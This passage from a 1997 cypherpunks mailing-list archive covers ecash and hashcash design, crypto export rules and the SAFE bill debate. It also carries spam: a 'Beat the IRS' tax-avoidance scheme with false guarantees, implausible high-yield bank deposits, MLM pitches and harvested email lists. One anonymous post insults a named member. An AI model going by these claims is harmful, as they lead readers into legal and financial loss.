but it is a constant factor. Crowds migh scale in this way, but DC nets and Pipenets don't. Crowds is a weaker cousin of DC nets and Pipenets. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199705020937.KAA00881@server.test.net> Bob Hettinga writes: > [metaphors, snipped, do you _have_ to :-)] > > Adam Back writes: > > How about this, rather than interface your ecash system with US > > dollars yourself through credit cards/ debit cards/ cheques / cash, > > just set up an entirely disconnected system. > > Nah. I want to have real money backing it up. Any attempt to make money > less negotiable reduces its usefulness. Remember the Soviet Ruble? An > extreme example in the opposite direction, surely, but you get the idea. It's not an attempt to make money less negotiable, though this is of course the effect. It's just another approach to avoiding the banking regulations. As you admit the market will take care of the exchange mechanism, it just adds inconvenience in locating the exchange mechanisms, and the stigma that the mechanisms are not official. > > However this means you've got to trust the bank not to mint unlimited > > amounts of money for it's own use. > > Right. That's why you have a separate trustee holding the reserve capital. So now you get to trust the trustee. Doesn't seem like a big improvement. > Anyway, in the first stages, I claim a trustee should be an actual, real, > um, "hoity-toity", bank. In the same way that SET and Cybercash and ATM > machines "blind" their transactions through the host bank onto a settlement > network to the customer's own bank, there can be sufficient blinding of the > transaction through the trustee so that the only thing the trustee sees is > a confirmation to pay and a settlement wire from the cash purchaser's bank. I don't think VISA and friends want anonymous settlement, they like comprehensive transaction logs to keep people like FinCEN happy. You're not suggesting that SET offers anonymity are you? Anyway, I'm not against this initial approach necessarily. Once you've got one non-anonymous electronic payment system with low entry costs to obtaining both a merchant and a purchaser, and is widely accepted, you can boot strap an anonymous payment system off it. The net model is that it should be that a merchant and a customer account are the same, and can be had by filling in a web page in real time. However, aren't they trying to make big bucks out of merchant accounts? Will SET and Cybercash make it easier to be a merchant than it is to be a VISA merchant? Becoming a credit card merchant is a rather onerous expensive, slow process I hear. > Of course, at some point, the trustee can just hold other bearer > certificates instead of keeping the issuer's reserves in book-entry assets. > When there are other bearer certificates to hold, anyway... You lost me there. Above you described the trustee's function as holding the ability to issue money to keep the bank honest. What _is_ a bearer certificate in this discussion? A digitally signed share certificate, or other representation of an unit of value? Who issues the bearer certificates? What does possesion of the bearer certificate represent in terms of ownership of assetts? > How you issue those certificates mechanically is not nearly as important as > the fact that you *can* issue them uniquely. Ideas like hashcash and > micromint work real well for very small transactions, for example, > precisely because of the cost to generate the first one in the series, > which forces you to print a whole bunch of subsequent ones to pay for the > computational resources you've used. Actually it's micromint which has the threshold function feature through use of k-way hashes, my hash cash is quite simple, and probably impractical to use as a basis for a currency you wished to connect to a real currency. There is a cost of printing hashcash coins, which can be made high (say a weeks CPU for a P100), but basically anyone can mint all the money they have CPU power for. This is interesting for throttling systematic abuse of limited net resources, and combining with a digicash system you could have transferability as well as anonymity. However the stability of the money supply is probably not up to it. It's kind of like allowing anyone to print money, but making it cost them in time only; the resources they already have. > However, once again, um, no offense, what cryptographic protocol you > use to generate the certificate is the functional equivalent of > doodling, the process which makes those complex > graphic fills on paper currency which were designed to moire up any > attempt to photoengrave a certificate copy. The point is, > you need cryptography for a digital bearer certificate market, but > it's not sufficient to create that market. You think you can create a digital bearer certificate market on the back of your architecture of issuers, and trustees. I don't see a great difference between this and a traditional bank. How is it going to reduce the per transaction overhead, and how is it in any way distributed. (I presume your term "geodisic" refers to a distributed value transfer system). > > But if you've got multiple banks then you've got to have an exchange > > mechanism. The market could probably take care of this, setting > > exchange rates based on banks reputations. > > Exactly. For instance, (hint, hint) if someone were to build > Eudora/Netscape/Quicken plugins for FSTC electronic checks, and a > plug-and-play deposit server for banks to receive them and convert them > into ACH transactions, who says you need the ACH system to settle the > checks anymore? All the different bank servers could just clear against > themselves on the net at some point, cutting their ACH fees out completely. > Someday. What is an ACH transaction? A electronic bank clearing protocol? FSTC is Financial Securities Trading... electronic checks? Isn't this going to be just another electronic check, with full transaction log, and associated overhead, banking regulations giving banks enough effective monopoly to charge high handling fees? I don't find electronic checks that interesting. What we want is fully anonymous, ultra low transaction cost, transferable units of exchange. If we get that going (and obviously there are some people trying DigiCash, and a couple of others), the banks will become the obsolete dinasaurs they deserve to become. I think this would be a good outcome, and I'd rather see this happen than see anyone go to any great effort to get the banks involved. Let them stick to electronic "cash" systems (what a misuse of the word) based on credit cards and checks. See how that survives against _real_ distributed electronic cash with transaction costs 10 to 100 times lower, with 0 red tape barriers to entry for both sellers and buyers. This is what I find interesting. The net is becoming more and more important as an mechanism for information exchange in it's own right. This is why I think just cutting the ties with the physical world and having a payment system working now would be interesting. Deployment wins and all that. Hashcash is completely distributed; there is NO bank. You can not forge hash cash, you can not double spend hash cash. You can print as much hashcash as you have CPU time for. You can resell hashcash for real money on an unoffical exchange, or trade hashcash for different services. > > However it would be nicer to have something which required no trust > > and which had no posssibility of cheating rather than relying on > > reputation to sort them out. > > Actually, I think there is no such thing as finance without reputation. > :-). I'd be very interested to see how you can prove otherwise... I don't see any particular inherent reason why an electronic payment protocol can't be designed which requires no trust of the bank; at least it should be possible to arrange it so that the bank minting funds for it's own use will be detected. All you need is that the protocol is publically verifiable. Digicash already prevents double spending through the database of protocoins. Adam -- Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199705021015.KAA28827@silvix.sirinet.net> I am anything _but_ a lawyer, but ... On 2 May 97 at 1:35, Anil Das wrote: > These ECCNs (whatever that means) is in http://jya.com/774-ccl05.htm. > 5A002 is for hardware modules that do encryption functions. 5D002 applies > to software. I won't quote it here, but from my reading it lists only > software designed or modified for certain purposes, such as putting it in > a hardware module, for one. Filling in the cross-references between 5D002 and 5A002 in the above URL, I read the following: a. Software having the same characteristics, or performing or simulating the functions of of equipment designed or modified to use "cryptography" employing digital or analog techniques to ensure "information security" is controlled. b. Software designed or modified to use such software is controlled. This is the clearest control of software "hooks" I have read in the reg. The software module performing encryption would fall under control due to (a) and the software designed with "hooks" for the encryption module would fall under control due to the restriction in (b). FWIW Scott From Biz-E-Wiz at usa.net Fri May 2 20:37:15 1997 From: Biz-E-Wiz at usa.net (Biz-E-Wiz at usa.net) Date: Fri, 2 May 1997 20:37:15 -0700 (PDT) Subject: "GOOD NEWS" "The Good News Electronic Journal" Message-ID: ***************************************************************** Thank you for Subscribing to "The Good News Electronic Journal". Your subscription is appreciated. To unscribe: HIT reply, type REMOVE in the subject area and HIT send. Thank You, The Management ***************************************************************** *** CHECKER Software -- Accept checks by Fax, Phone, or E-mail. Reg. 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Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082 QUESTIONS CALL: (602)267-9688 3-11PM (MST). ************************************************************** ************************************************************** 10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $49.95 *** LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ************************************************************** *** 2,000 MLM'ers E-MAIL ADDRESSES *** *** ON 3-1/2" DISK *** $29.95 *** LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ************************************************************** *** From nobody at huge.cajones.com Fri May 2 06:02:50 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 2 May 1997 21:02:50 +0800 Subject: [CRYPTO] ZKP Message-ID: <199705021127.EAA26541@fat.doobie.com> Timmy `C' May's aberrant sexual life has negatively impacted his mental integrity. ,,, -ooO(o o)Ooo- Timmy `C' May v From Biz-E-Wiz at usa.net Fri May 2 21:04:22 1997 From: Biz-E-Wiz at usa.net (Biz-E-Wiz at usa.net) Date: Fri, 2 May 1997 21:04:22 -0700 (PDT) Subject: "GOOD NEWS" "The Good News Electronic Journal" Message-ID: ***************************************************************** Thank you for Subscribing to "The Good News Electronic Journal". Your subscription is appreciated. To unscribe: HIT reply, type REMOVE in the subject area and HIT send. Thank You, The Management ***************************************************************** *** CHECKER Software -- Accept checks by Fax, Phone, or E-mail. Reg. Retail Price $199 - <<<- GET IT NOW FOR $49.95 ->>> Send this ad and payment to: Linkco - POB 66781 - Phoenix, AZ 85082 ***************************************************************** ****************************** PLEASE IGNORE THIS MESSAGE IF YOU LIVE OUTSIDE THE USA ------------------------------------------------------ BEAT-THE-IRS & PAY-NO-MORE -------------------------- Our PACKAGE, (Beat The IRS & PAY-NO-MORE) will teach you EXACTLY how to EASILY: STOP FEDERAL Income Tax Withholding, STOP April filing of 1040 Form, & STOP THE IRS EXTORTION PERMANENTLY ------------------------------------------------------- The IRS Federal Income System is based on VOLUNTARY COMPLIANCE.... We will teach you how to legally VOLUNTEER OUT OF THE SYSTEM! -------------------------------------------------------- - Your Success is ABSOLUTELY unconditionally GUARANTEED if your were BORN in and LIVE in one of the 50 Republic States. Our methods work every time for everybody. They are 100% legal, honest and ethical. We will pay anybody $1,000 if they can prove our method is ILLEGAL, DISHONEST or UNETHICAL!!! Our method has worked for every person who has ever bought this package without exception. NOBODY HAS EVER FAILED OR ASKED FOR A REFUND!!! - Our PACKAGE includes a LIFETIME, FREE, SIMPLE, Sizzling, RED Hot 50% PAY OUT Dealership, PLUS ALL the marketing material master copies you will ever need. YOUR PAYCHECKS WILL BE 10% TO 20% BIGGER EVERY WEEK, within 2 weeks of filing the proper forms and affidavit. WHY NOT GIVE YOURSELF A RAISE THIS YEAR BY EXERCISING AND ENJOYING MORE OF YOUR CONSTITUTIONAL RIGHTS. SET YOURSELF FREE! ------------------------------------------------------------- Your package includes unlimited FREE phone consultations, a copy of the U.S. Constitution, The Bill of Rights, forms, affidavits, and much, much more! TO ORDER BY MAIL: Send this entire ad and a $35 Money Order to: LINKCO --Dept. #1, POB 66781 -- Phoenix, AZ 85082 To order by phone and Fax Check call our office at (602)267-9688 between the hours of 4 and 11pm Mountain Standard Time. You may also call just to ask questions. Thanks for reading this message! Dealer #00001 - (Unconditional Money Back Guarantee) - - Copyright 1996 Linkco - ***************************************************************** From: FREEDOM STAR BANK -- P.O. Box 66781 -- Phoenix, AZ 85082 To Wise Investors, The Freedom Star National Bank of Arizona offers: "The More You Save The More You Earn". We offer only CD's, i.e., Certificates of Deposit. $100-$999 deposit pays 18%. $1,000-$4,999 deposit pays 24%. $5,000 and up deposit pays 30%. All % rates are per year and are not compounded. There is a 50% penalty for early withdrawal. All deposits have a 1 year maturity. All funds must remain on deposit for a least 6 months. Call Mr. Jon L. Boulet at 1-602-267-9688 for more information or to make a deposit. Thanks! ****************************************************************** 100,000 E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $19.95 LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ****************************************************************** 3,800 FRESH HOT FAX NUMBERS ***$41*** ON 3-1/2 DISK LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ****************************************************************** (YOUR 50 WORDS *** BULK E-MAILED) to (1.5 MILLION HOT PROSPECTS) ***SEND YOUR 50 WORDS ON 3-1/2 DISK + $129.95*** LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ****************************************************************** ***GREAT NEWS!*** Learn my SECRET to build a large downline FAST! Make more MONEY than you've ever made in your life! Great News International has created a NEW and POWERFUL marketing concept and its own DOWNLINE GENERATOR to market the finest product package ever offered through an MLM company! A possible WEEKLY $8,968 with each group of 30 people!! Only $50 one time out of pocket! SATISFACTION MONEY BACK GUARANTEE! FREE report, Valuable to all Networkers! ***Find Out How--Call 716-453-8952*** ***Fax-On-Demand (703)904-7770 Doc. #404*** ***InterNET: http://www.gnint.com/ir/jb4428.htm*** ***Jon L. Boulet (602)267-9688 *** Sponsor ID #jb4828*** ****************************************************************** Check out -LINKCO- (602)267-9688 1-11-pm (MST) We offer the following: 1. Domain registration services. 2. Domain name sales, trades, and consignments. 3. Copywriting. 4. Typeseting and graphic design. 5. TAX advice and counseling. 6. E-mail address lists. 7. Fax number lists 8. Web page design and hosting. 9. Bulk e-mail software and e-mail address extractors. 10. Pop3 E-mail accounts that are bulk mail friendly. 11. FREE investment advice. 12. FREE MLM counseling. 13. Discount Bulk e-mailing service. 14. 9 cent/min. long distance service. Changing LD provider not required. FREEBIE, just call me. 15. Discount advertising - opportunity publications. ************************************************************* Dear Entrepreneur, How to get MORE ORDERS for ANYTHING YOU SELL! Hi, saw your posting online and was wondering if you market products/services using your computer and would like to learn how to do so QUITE a bit better than what you are already doing? If so, just say the words (words=MORE ORDERS) and I'll email a free, helpful file that could mean the online marketing difference between scintillating success and frustrating failure. Just write me at: Linkco1 at Juno.com and a complete information package will be e-mailed to you ASAP. ************************************************************* ********* E-MAIL DIRECT MARKETING ************ Effective Direct Advertising at a cost you can afford...... CARD DECKS cost you about 2 cents per card or $2,000 per 100,000. A post card size Advertisement in print cost about $800 per 100,000 circulation. BUT GET THIS !!!!! YOU can send your FULL 1 or 2 page sales letter and order form to 100,000 anxious affluent computer owners that are interested in your opportunity for ONLY: <<< $129 >>> That's the power of E-Mail and it means more and biger profits for YOU !!!!! Your cost is about $1 per thousand to get your sales letter out. If this doesn't make you BIG MONEY, NOTHING WILL!! Send us your advertising copy on a 3-1/2" disk in ASCII (.TXT) format along with this ad and your $129 check payable to: (LINKCO). Mail to: LINKCO - POB 66791 - Phoenix, AZ 85082 QUESTIONS CALL: (602)267-9688 3-11PM (MST). ************************************************************** ************************************************************** 10,000 BISINESS ENTREPRENEURS E-MAIL ADDRESSES *** ON 3-1/2" DISK *** $49.95 *** LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ************************************************************** *** 2,000 MLM'ers E-MAIL ADDRESSES *** *** ON 3-1/2" DISK *** $29.95 *** LINKCO MARKETING - POB 66781 - PHOENIX, AZ 85085 ***(602)267-9688*** ************************************************************** *** From harka at nycmetro.com Fri May 2 06:05:29 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Fri, 2 May 1997 21:05:29 +0800 Subject: Cyberstrike Message-ID: -----BEGIN PGP SIGNED MESSAGE----- May be of interest... In> From: cleacy at execulink.com (Chris Leacy) In> Newsgroups: comp.infosystems.www.announce In> Subject: SOFTWARE: CyberStrike 1.13a Ad filtering/Cookie cutting Proxy In> Date: 30 Apr 1997 23:28:43 -0400 In> CyberStrike: Version 1.13a First Public Release In> The first public alpha of CyberStrike was released today. In> It can be found at In> CyberStrike is a banner ad filtering, cookie cutting, HTTP In> header overriding proxy of a program. In> Whether for privacy concerns, or just to speed up your In> browsing, CyberStrike performs admirably well at it's task. In> Chris Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM2mQeTltEBIEF0MBAQEbUAf+NQOMPrml38ijLwv8MIPSkTUbtbNQebJy R4LaeYhXI6Z/OzJdX6AQC2GisxMyPiz3QWWBoAqxGkunWDHbQzDfZVWW6nZa4zLY do2r11CEWFPba1igX+8JtCm9gd11S8Zlff5Pw5eTYOMcsVSHf6Z/+iAT5aqnIdcb YU26JswL1MofhWlNhbNXYc/9wQ3uUn1hU3lin+Lujfa5+cXXlTyfz6eFcJlwD7ZY KdK7UfPMuCeZnUX/VJqBdJ1idXfC5YOlwVMBNIyQK7PgCy59FvP5CiiXhpui7uSj WijKBSMUsz2HuQIuQJf6zvW/bi5DGWr6PerTXnuVaUkjNHr4Fp13Mg== =5TtH -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From declan at vorlon.mit.edu Fri May 2 06:05:29 1997 From: declan at vorlon.mit.edu (Declan McCullagh) Date: Fri, 2 May 1997 21:05:29 +0800 Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd) Message-ID: ---------- Forwarded message ---------- Date: Thu, 1 May 1997 19:43:07 -0400 From: Jonah Seiger To: Charles Platt , fight-censorship at vorlon.mit.edu Cc: Charles Platt Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal At 6:44 PM -0400 5/1/97, Charles Platt wrote: >From: Jonah Seiger >> Congress needs to stand up to the Administration and say, with a strong >> voice, "your policy is a failure - we need a different solution". That's >> what SAFE, Pro-CODE, and ECPA II do. > >For some reason I have difficulty trusting Congress to protect my rights >in this matter, or in any other matter. Those who seek help from >government should recall Barry Goldwater's famous quote, which went >something like this: "When you have a government big enough to give you >everything you want, it's big enough to take it all away." This is exactly the point. The Administration continues to push for a government-designed global key-recovery encryption policy that would, in the words of Grover Norquist (head of the conservative Americans for Tax Reform and supporter of SAFE), "force all Americans to go to bed at night with their doors unlocked and their car keys in the ignition". It's been 4 years of it - in various forms, the most recent being the first serious proposal in history to impose DOMESTIC RESTRICTIONS on the ability of American Citizens to protect their privacy on American soil. The FBI, NSA, DOJ and the Clinton Administration want guaranteed law enforcement access to private encryption keys. That's what we are fighting against. All of us have been screaming (rightly) about Clipper and it's various mutant offspring from the beginning. Congress has at last gotten the message and is aggressively taking the lead -- 3 bills designed to relax government regulation of encryption technologies and prohibit the government from imposing key escrow or key recovery inside the US. I too share your skepticism about trusting Congress to solve all our problems. They didn't give us much reason to when they passed the CDA. And even in the best of circumstances, legislation is rarely "perfect". But in this case I honestly believe the sponsors of SAFE (78) and Pro-CODE (21) have got it basically right. The administration clearly has it totally wrong. We have a long way to go yet before this debate is over, and I suspect the Administration has a few more tricks left up its sleve. We owe it to our allies in Congress, and to the issues we say we believe in as participants on this list, to give this our best effort. Call that 'pragmatism' if you want. We have never considered that to be a derogatory term. Jonah -- Jonah Seiger, Communications Director (v) +1.202.637.9800 Center for Democracy and Technology pager: +1.202.859.2151 http://www.cdt.org PGP Key via finger http://www.cdt.org/jseiger/ * Value Your Privacy? The Governmet Doesn't. Say 'No' to Key Escrow! * Adopt Your Legislator - http://www.crytpo.com/adopt From declan at vorlon.mit.edu Fri May 2 06:07:31 1997 From: declan at vorlon.mit.edu (Declan McCullagh) Date: Fri, 2 May 1997 21:07:31 +0800 Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal (fwd) Message-ID: ---------- Forwarded message ---------- Date: Thu, 1 May 1997 18:44:47 -0400 (EDT) From: Charles Platt To: fight-censorship at vorlon.mit.edu Cc: Charles Platt Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal > From: Jonah Seiger > However, despite our concerns about the criminal provisions, we believe > strongly that the SAFE bill, and the bills in the Senate sponsored by Burns > and Leahy, are vitally important and should be passed. This kind of "pragmatism" is precisely why I have no faith whatsoever in CDT. There's a slippery slope, here, that really IS a slippery slope. As soon as you agree with the principle that the legislators can and SHOULD pass laws in a certain area, you risk losing large chunks of freedom. Conversely, so long as the area remains sacrosanct, free of legislation (e.g. the content of private mail), the situation remains clear and clean. Once you have one law, naturally some special-interest group will complain, some lobbyists will have their own ideas, some other legislators will see an opportunity to extend/clarify/amend/expand the legislation, and before you know it, you've got the war on drugs or something similar, costing billions, depriving relatively innocent people of their liberty, and achieving nothing. I absolutely agree with Tim May. There is no excuse for introducing legislation to control something fundamentally harmless that is not currently controlled. More legislation is absolutely the LAST thing this country needs. > Congress needs to stand up to the Administration and say, with a strong > voice, "your policy is a failure - we need a different solution". That's > what SAFE, Pro-CODE, and ECPA II do. For some reason I have difficulty trusting Congress to protect my rights in this matter, or in any other matter. Those who seek help from government should recall Barry Goldwater's famous quote, which went something like this: "When you have a government big enough to give you everything you want, it's big enough to take it all away." From declan at well.com Fri May 2 06:08:53 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 2 May 1997 21:08:53 +0800 Subject: unSAFE Message-ID: ---------- Forwarded message ---------- Date: Fri, 2 May 1997 01:04:17 -0400 From: Michael Sims To: fight-censorship at vorlon.mit.edu Cc: Jonah Seiger , abd at cdt.org, Tim May , declan at well.com Subject: unSAFE Well, I've read Mr. Davidson's defense of the SAFE bill and of course Mr. May's earlier argument against it. A few more comments. Both analyses (all analyses I've seen) ignore this little fun fun tidbit below: <--QUOTE--> (a) AMENDMENT TO EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of the Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended by adding at the end thereof the following new subsection: "(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the Secretary shall have exclusive authority to control exports of all computer hard ware, software, and technology for information security (including encryption), except that which is specifically designed, or modified for military use, including command, control, and intelligence applications. "(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required, EXCEPT PURSUANT TO THE TRADING WITH THE ENEMY ACT OR THE INTERNATIONAL EMERGENCY ECONOMIC POWERS ACT (but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act), for the export or reexport of .... (b) CONTINUATION OF EXPORT ADMINISTRATION ACT.-For purposes of carrying out the amendment made by subsection (a), the Export Administration Act of 1979 shall be deemed to be in effect. <--/QUOTE--> {emphasis added, EXCEPT....ACT} The Trading with the Enemy Act was passed in 1917 and amended (importantly) in 1933 (Great Depression, New Deal). Originally, it was intended to simply declare that when the nation was at war, it was total war - the US would not honor any obligations or respect any rights of citizens of enemy, warring countries. It specifically allowed the president to regulate as he wished, during wartime, the assets and fiscal transactions conducted by an enemy country. (Confiscation and all that). Fair enough, for a WWI era law. Here how it read. Recall, this is during a declared war only. "That the President may investigate, regulate, or prohibit, under such rules and regulations as he may prescribe, by means of licenses or otherwise, any transactions in foreign exchange, export or earmarkings of gold or silver coin or bullion or currency, transfers of credit in any form (other than credits relating solely to transactions to be executed wholly within the United States)". In 1933 it was amended, hastily, sneakily, back-door-ily, in order to grant incoming President Roosevelt extraordinary powers over the money supply of the nation. It was amended to declare all citizens of the United States to be "enemies", under its power during any time of war *or national emergency*. That is, the "Trading with the Enemy" act now applied to all citizens of the US and all of their interpersonal transactions. Roosevelt declared a national emergency, and took the country off the gold standard, pumping cash into the system and ending the depression. But doing so required power not earlier available. Thus the new wording below. This is now during war *or national emergency declared by the president*. "through any agency that he may designate, or otherwise, investigate, regulate or prohibit under such rules and regulations as he may prescribe by means of licenses or otherwise, any transactions in foreign exchange, transfers of credit between or payments by banking institutions as defined by the President and export, hoarding, melting or earmarking of gold or silver coin or bullion or currency by any person within the United States or anyplace subject to the jurisdiction thereof." Roosevelt of course declared a national emergency and proceeded on his way. However, he declared it in such a way as to make it continue until revoked. This country remains in a state of emergency today, and will do so forthe foreseeable future, and the President retains the extraordinary powers intended solely for wartime. These include the total ability to regulate commerce in the United States. I recommend Michael Froomkin's excellent (and lengthy) article on the subject at http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm. Although about the Clipper chip, if you go about 60% through the article he has a solid discussion of the EAA, IEEPA and the presidential power thereunder. It's 50 U.S.C. Sec. 1701 and following. Section 1702 there has the meat of it. This Act allows the President, once he has declared a state of emergency, to regulate essentially any commerce with another nation, except those items directly identified as "speech" - magazines, papers, etc. President Clinton has twice declared a state of emergency regarding export control regulations, the latest on August 15, 1996. Mr. Seiger, Mr. Davidson, I hope that you merely did not understand the giant, drive-a-truck-through loophole present in this SAFE bill. By guaranteeing free export EXCEPT pursuant to whatever actions are taken under the IEEPA or Trading with the Enemy Act, it guarantees absolutely nothing at all. Those laws combined provide the President with complete power to regulate the sale or export of crypto, anywhere. This law, Mr. Davidson's assertions notwithstanding, gives nothing at all while taking a great deal. Every "right" the SAFE act grants is already possessed. The law also poses severe penalties for using crypto in furtherance of a crime. As an example, I call Crook 2 on my cell phone while cruising down the street. It is later determined that we were plotting a bank heist. Extra five years for using encryption to further my crime. Yep, just a plain old cell phone. For that matter, almost all cordless phones today use an encrypt/decrypt routine for their transmissions as well. Anyone using PGP on their computer? Crime involved at least one email sent for any reason? Extra five years. This will hardly support the spread of encryption. It gives law enforcement guaranteed access to keys: an awful precedent. Any law enforcement officer or investigative officer (attornies prosecuting a case) who is empowered to prosecute or participate in the prosecution of offenses under this act may compel disclosure of keys. All one needs is an escrow provision to ensure that such a key is available for the government to retrieve - and such a provision is perfectly legal for the president to impose. Thus, an FBI agent, who is "empowered" to investigate crimes under this act, can compel disclosure, by a third party, of your keys - without cause to even believe an offense has actually been committed. Without judicial review. This will further the spread of strong crypto? I freely admit I'm not an expert US export control law, which is designed to be confusing. But I believe that all of the privacy and crypto organizations which have signed on to SAFE are being sold a bill of goods, a law which says in bold letters "freedom" "freedom" "prohibition" but provides no freedoms, and does not prohibit key escrow in any fashion. I urge you _most strongly_ to consult with legal experts on these matters and verify that what I have said is true. THIS BILL GIVES NOTHING AT ALL AND MAKES USE OF CRYPTO WORTH FIVE YEARS IN PRISON. Continued support of this bill by privacy and crypto advocates is outrageous. Newsletters supporting this bill by such organizations have the effect of perpetuating the false impressions of what this law does and does not do, and need to be immediately brought in line with reality. While I am only cc'ing CDT reps on this matter, I give free permission to forward this post to any/all other crypto and privacy supporting organizations or listservs for comment. -- Michael Sims From declan at vorlon.mit.edu Fri May 2 06:10:52 1997 From: declan at vorlon.mit.edu (Declan McCullagh) Date: Fri, 2 May 1997 21:10:52 +0800 Subject: SAFE Bill discussion In-Reply-To: Message-ID: Two quick points: * I think the discussion centered around CDT since they put out a policy post a few hours after the SAFE markup earlier this week, and that policy post was well-circulated online. * Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a letter to the House subcommittee on April 29 urging that SAFE be approved without any changes? (I'm in Oklahoma right now and I have a copy of that letter in my office in DC, but that's what I remember.) -Declan On Thu, 1 May 1997, Shabbir J. Safdar wrote: > The Administration hates this bill, because it threatens their ability to > roll out Key Recovery. They've said as much in the letter Declan forwarded: > > "The bill could be read as prohibiting the United States government > from using appropriate incentives to support a key management > infrastructure and KEY RECOVERY." [emphasis added] > > Do you think that if this bill helped the Administration, that they'd be > out there urging the subcommittee chairman to stop it? I think not. > > I'm also puzzled by the fact that CDT is being criticized pretty much > solely, even though the entire Internet Privacy Coalition, and several > other groups all wrote a letter of support of the bill with only a > criticism of one provision. However the overall statement was of support. > (see http://www.privacy.org/ipc/safe_letter.html) > > As far as I can tell, everyone criticizing the bill either thinks that: > > a) CDT actually runs all these groups behind the scenes, or > b) pretty much all of the Internet advocates believe that this bill > is needed and are doing the best they can with what Congress has > written. > > You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax > Reform, the Association for Computing Machinery, Computer Professionals for > Social Responsiblity, Eagle Forum, the National Association for Criminal > Defense Lawyers, and PGP Inc all signed this letter. > > Can you consider, perhaps, for a second, that critics of SAFE are being > unreasonable? I would think so, as critics of SAFE include the Clinton > Administration. Is that the kind of company that cypherpunks keep? > > Here's a great excerpt from the Internet Privacy Coalition letter: > > The pending bill provides a positive framework for the reforms that are > long overdue in this critical area. It makes clear that the sale or use > of > encryption, a vital technique to promote network security and individual > privacy, should not be restricted in the United States. This is the view > widely shared by users of the Internet and the computer and communications > industry. It was also a central recommendation of the > report of the National Research Council last year. > > Looks like widespread support from people who study this issue for living. > I'm glad to be counted among them. > > -S > > -Shabbir > > From nobody at faust.guardian.co.uk Fri May 2 21:52:21 1997 From: nobody at faust.guardian.co.uk (Shift Control) Date: Fri, 2 May 1997 21:52:21 -0700 (PDT) Subject: Barmy for Bhajis! Message-ID: <199705021107.MAA07297@faust.guardian.co.uk> This week we've taken one of the net's most respected magazines - and curried it. That's right, we proudly invite you to feast on the Curried Issue of Shift Control, a veritable korma-copia of spicy treats. Our menu includes every curried delicacy ever invented - plus one or two that Shift Control's own masters of masala have cooked up themselves... The starter: Poppadum will eat itself (a poppadum taste-a-thon). The main dish: A tour through the three levels of curry house, from the corner kormarama to the true viceroys of vindaloo. The side dishes: Curried thumbs - a tasteful selection of microwavable curries. Curried songs - from 'Korma Chameleon' to 'Vindaloo Sunset'. Curried Spice Girls - if the Girls were curries, what kinds would they be? Curried films - featuring 'Last Mango in Paris' and other screen platters. Also on the menu this week... The best curry of the millennium and a quiz to test how wild you are about curry - all with a rich and fragrant smothering of instant granulated Chip Shop Curry Sauce. Mmmm. We also cater for those who prefer British fare with a fine selection of fiction, including your chance to win �200 - a lot of curries - by entering our short story competition. So give yourself a tasty treat and partake in our sumptuous offerings, all of which are hot, steaming and awaiting your delectation at http://www.shiftcontrol.com Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry To unsubscribe from this mailing list send e-mail to shiftcontrol-request at nml.guardian.co.uk with the following text in the body of the mail message: unsubscribe From lucifer at dhp.com Fri May 2 07:00:03 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Fri, 2 May 1997 22:00:03 +0800 Subject: counterTCM post Message-ID: <199705021329.JAA23390@dhp.com> Vladimir Z. Nuri, who is wasting our tax dollars, if he is paid government stooge, and wasting his own time, if he is not, wrote: > I generally agree that our democratic system has degenerated over > the decades, to the point of being scary and dangerous in places. And, in spite of this, you're going to suggest more of the "same old, same old" right? > however, we can ask, why did it get to that point? I believe > it is a failure of the citizens to maintain the > authority over their congressmen and president. And every fairy tale has to include the words, > once upon a time, citizens saw congress and the president as their > servants. it led to a particular kind of ideology reflected in the > policies of the country. > > over time, people gradually gave away this authority. they saw the > president and congress as having authority over citizens, instead of > vice versa. A lot of people give away their televisions to burglars, and their wallets to armed robbers. The person with the 